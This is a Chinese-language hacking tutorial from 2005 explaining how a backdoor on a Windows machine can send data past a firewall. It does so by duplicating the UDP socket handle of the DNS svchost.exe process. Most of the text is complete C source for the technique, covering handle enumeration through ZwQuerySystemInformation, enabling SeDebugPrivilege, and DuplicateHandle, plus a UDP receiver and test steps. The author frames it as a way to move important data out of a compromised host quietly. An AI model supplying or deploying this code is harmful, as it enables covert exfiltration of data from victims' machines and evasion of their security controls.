在目标主机安放后门，需要将数据传输出去，同时数据很重要，动作不能太大。其他情况“严重”不推荐使用该技术(后面我会讲到为什么)。

针对目前防火墙的一些情况，如果自己的进程开一个端口(甚至是新建套接字)肯定被拦。相反，有一点我们也很清楚：被防火墙验证的进程在传送数据时永远不会被拦。所以，我的思路很简单：将其他进程中允许数据传输的套接字句柄拿为已用。

过程如下：

1. 找出目标进程

2. 找出SOCKET句柄

2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用

3. 用转换后的SOCKET进行数据传输
上面的过程写的很简单，但是实际实现起来还是存在一些问题(后面再做讨论)，而且从上面的实现方法也可以看出一些不爽的地方：在目标进程的SOCKET不能是TCP，因为TCP的句柄已经跟外面建立了连接，所以只能是UDP。针对不同系统不同进程我们很难定位一个稳定的进程SOCKET。

看到上面这些，你有点丧气了对不对，哈哈。 再想一想，其实我们有一条真正的通罗马的“黄金大道”。

我们知道只要一台计算机连上了网络，那么有一种数据传输是肯定不会被拦截的，那就是DNS。你能想像域名解析数据都被拦了造成的结果吗？ 嘿嘿， 既然这个是永远不会被拦的， 而且它又是UDP传输， 我们就拿他开刀。

下面是通过直接控制DNS进程(其实也就是svchost.exe，不过对应用户名是NETWORK SERVICE)进行数据传输的例子。编程中出现了很多问题，比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE)，在句柄值为0x2c时进行getsockname时会停止运行等等。具体解决方法请细看注释部分。

CODE:

/*++

Made By ZwelL

zwell@sohu.com

2005.4.12

--*/

#include <winsock2.h>

#include <stdio.h>

#include <wtsapi32.h>

#pragma comment(lib, "ws2_32")

#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status)    ((NTSTATUS)(status)>=0)

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG  NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION

{

ULONG     ProcessId;

UCHAR     ObjectTypeNumber;

UCHAR     Flags;

USHORT     Handle;

PVOID     Object;

ACCESS_MASK   GrantedAccess;

} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )

{

BOOL  ret    = FALSE;

char  NTDLL_DLL[] = "ntdll.dll";

HMODULE ntdll_dll  = NULL;

if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )

{

  printf( "GetModuleHandle() failed");

  return( FALSE );

}

if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress

( ntdll_dll, "ZwQuerySystemInformation" ) ) )

{

  goto LocateNtdllEntry_exit;

}

ret = TRUE;

LocateNtdllEntry_exit:

if ( FALSE == ret )

{

  printf( "GetProcAddress() failed");

}

ntdll_dll = NULL;

return( ret );

}

/*++

This routine is used to get a process&#39;s username from it&#39;s SID

--*/

BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)

{

// sanity checks and default value

if (pUserSid == NULL)

  return false;

strcpy(szUserName, "?");

SID_NAME_USE  snu;

TCHAR    szUser[_MAX_PATH];

DWORD    chUser = _MAX_PATH;

PDWORD    pcchUser = &chUser;

TCHAR    szDomain[_MAX_PATH];

DWORD    chDomain = _MAX_PATH;

PDWORD    pcchDomain = &chDomain;

// Retrieve user name and domain name based on user&#39;s SID.

if (

  ::LookupAccountSid(

  NULL,

  pUserSid,

  szUser,

  pcchUser,

  szDomain,

  pcchDomain,

  &snu

  )

  )

{

  wsprintf(szUserName, "%s", szUser);

}

else

{

  return false;

}

return true;

}

/*++

This routine is used to get the DNS process&#39;s Id

Here, I use WTSEnumerateProcesses to get process user Sid,

and then get the process user name. Beacause as it&#39;s a "NETWORK SERVICE",

we cann&#39;t use OpenProcessToken to catch the DNS process&#39;s token information,

even if we has the privilege in catching the SYSTEM&#39;s.

--*/

DWORD GetDNSProcessId()

{

PWTS_PROCESS_INFO pProcessInfo = NULL;

DWORD     ProcessCount = 0;

char     szUserName[255];

DWORD     Id = -1;

if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))

{

  // dump each process description

  for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)

  {

    if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )

    {

     GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);

     if( strcmp(szUserName, "NETWORK SERVICE") == 0)

     {

      Id = pProcessInfo[CurrentProcess].ProcessId;

      break;

     }

    }

  }

  WTSFreeMemory(pProcessInfo);

}

return Id;

}

/*++

This doesn&#39;t work as we know, sign...

but you can use the routine for other useing...

--*/

/*

BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)

{

HANDLE hProcess = NULL,

    hAccessToken = NULL;

TCHAR InfoBuffer[1000], szDomainName[200];

PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;

DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;

SID_NAME_USE snu;

hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);

if(hProcess == NULL)

{

  printf("OpenProcess wrong");

  CloseHandle(hProcess);

  return false;

}

if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))

{

  printf("OpenProcessToken wrong:%08x", GetLastError());

  return false;

}

GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,

  1000, &dwInfoBufferSize);

LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,

  &dwAccountSize,szDomainName, &dwDomainSize, &snu);

if(hProcess)

  CloseHandle(hProcess);

if(hAccessToken)

  CloseHandle(hAccessToken);

return true;

}*/

/*++

Now, it is the most important stuff... ^_^

--*/

SOCKET GetSocketFromId (DWORD PID)

{

NTSTATUS        status;

PVOID         buf  = NULL;

ULONG         size = 1;

ULONG         NumOfHandle = 0;

ULONG         i;

PSYSTEM_HANDLE_INFORMATION  h_info = NULL;

HANDLE  sock = NULL;

DWORD  n;

buf=malloc(0x1000);

if(buf == NULL)

{

  printf("malloc wrong\n");

  return NULL;

}

status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );

if(STATUS_INFO_LENGTH_MISMATCH == status)

{

  free(buf);

  buf=malloc(n);

  if(buf == NULL)

  {

    printf("malloc wrong\n");

    return NULL;

  }

  status = ZwQuerySystemInformation( 0x10, buf, n, NULL);

}

else

{

  printf("ZwQuerySystemInformation wrong\n");

  return NULL;

}

NumOfHandle = *(ULONG*)buf;

h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

for(i = 0; i<NumOfHandle ;i++)

{

  try

  {

    if( ( h_info.ProcessId == PID ) && ( h_info.ObjectTypeNumber == 0x1c )

     && (h_info.Handle!=0x2c)  // I don&#39;t know why if the Handle equal to 0x2c,

in my test, it stops at getsockname()

              // So I jump over this situation...

              // May be it&#39;s different in your system,

     ) //wind2000 is 0x1a

    {

     //printf("Handle:0x%x Type:%08x\n",h_info.Handle, h_info.ObjectTypeNumber);

     if( 0 == DuplicateHandle(

      OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),

      (HANDLE)h_info.Handle,

      GetCurrentProcess(),

      &sock,

      STANDARD_RIGHTS_REQUIRED,

      true,

      DUPLICATE_SAME_ACCESS)

      )

     {

      printf("DuplicateHandle wrong:%8x", GetLastError());

      continue;

     }

     //printf("DuplicateHandle ok\n");

     sockaddr_in name = {0};

     name.sin_family = AF_INET;

     int namelen = sizeof(sockaddr_in);

     getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );

     //printf("PORT=%5d\n",  ntohs( name.sin_port ));

     if(ntohs(name.sin_port)>0)  // if port > 0, then we can use it

      break;

    }

  }

  catch(...)

  {

    continue;

  }

}

if ( buf != NULL )

{

  free( buf );

}

return (SOCKET)sock;

}

/*++

This is not required...

--*/

BOOL EnablePrivilege (PCSTR name)

{

HANDLE hToken;

BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };

LookupPrivilegeValue (

  0,

  name,

  &priv.Privileges[0].Luid

  );

priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

OpenProcessToken(

  GetCurrentProcess (),

  TOKEN_ADJUST_PRIVILEGES,

  &hToken

  );

AdjustTokenPrivileges (

  hToken,

  FALSE,

  &priv,

  sizeof priv,

  0,

  0

  );

rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);

return rv;

}

void main()

{

WSADATA wsaData;

char  testbuf[255];

SOCKET  sock;

sockaddr_in RecvAddr;

int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);

if (iResult != NO_ERROR)

  printf("Error at WSAStartup()\n");

if(!LocateNtdllEntry())

  return;

if(!EnablePr
ivilege (SE_DEBUG_NAME)) { printf("EnablePrivilege wrong\n"); return; } sock = GetSocketFromId(GetDNSProcessId()); if( sock==NULL) { printf("GetSocketFromId wrong\n"); return; } //Change there value... RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(SOCKET_ERROR == sendto(sock, "test", 5, 0, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr))) { printf("sendto wrong:%d\n", WSAGetLastError()); } else { printf("send ok... Have fun, right? ^_^\n"); } getchar(); //WSACleanup(); return; } [Copy to clipboard]

很早以前我就有这个想法了，只是一直没有去实现。在上面的代码中，因为要找出DNS进程句柄，而svchost.exe又有多个，所以以用户名来进行判断，本来是用OpenProcessToken，但是怎么也不行。所以换个方法，用到了wtsapi32库函数。

再用下面的代码测试：

CODE:

/*++

UdpReceiver

--*/

#include <stdio.h>

#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main()

{

WSADATA wsaData;

SOCKET RecvSocket;

sockaddr_in RecvAddr;

int Port = 5555;

char RecvBuf[1024];

int BufLen = 1024;

sockaddr_in SenderAddr;

int SenderAddrSize = sizeof(SenderAddr);

//-----------------------------------------------

// Initialize Winsock

WSAStartup(MAKEWORD(2,2), &wsaData);

//-----------------------------------------------

// Create a receiver socket to receive datagrams

RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

//-----------------------------------------------

// Bind the socket to any address and the specified port.

RecvAddr.sin_family = AF_INET;

RecvAddr.sin_port = htons(Port);

RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

//-----------------------------------------------

// Call the recvfrom function to receive datagrams

// on the bound socket.

printf("Receiving datagrams...\n");

while(1)

{

recvfrom(RecvSocket,

  RecvBuf,

  BufLen,

  0,

  (SOCKADDR *)&SenderAddr,

  &SenderAddrSize);

printf("%s\n", RecvBuf);

}

//-----------------------------------------------

// Close the socket when finished receiving datagrams

printf("Finished receiving. Closing socket.\n");

closesocket(RecvSocket);

//-----------------------------------------------

// Clean up and exit.

printf("Exiting.\n");

WSACleanup();

return;

}

[Copy to clipboard]
测试步骤：

1. 在一台机器上执行UdpReceiver。

2. 在安装防火墙的机器上执行第一个程序。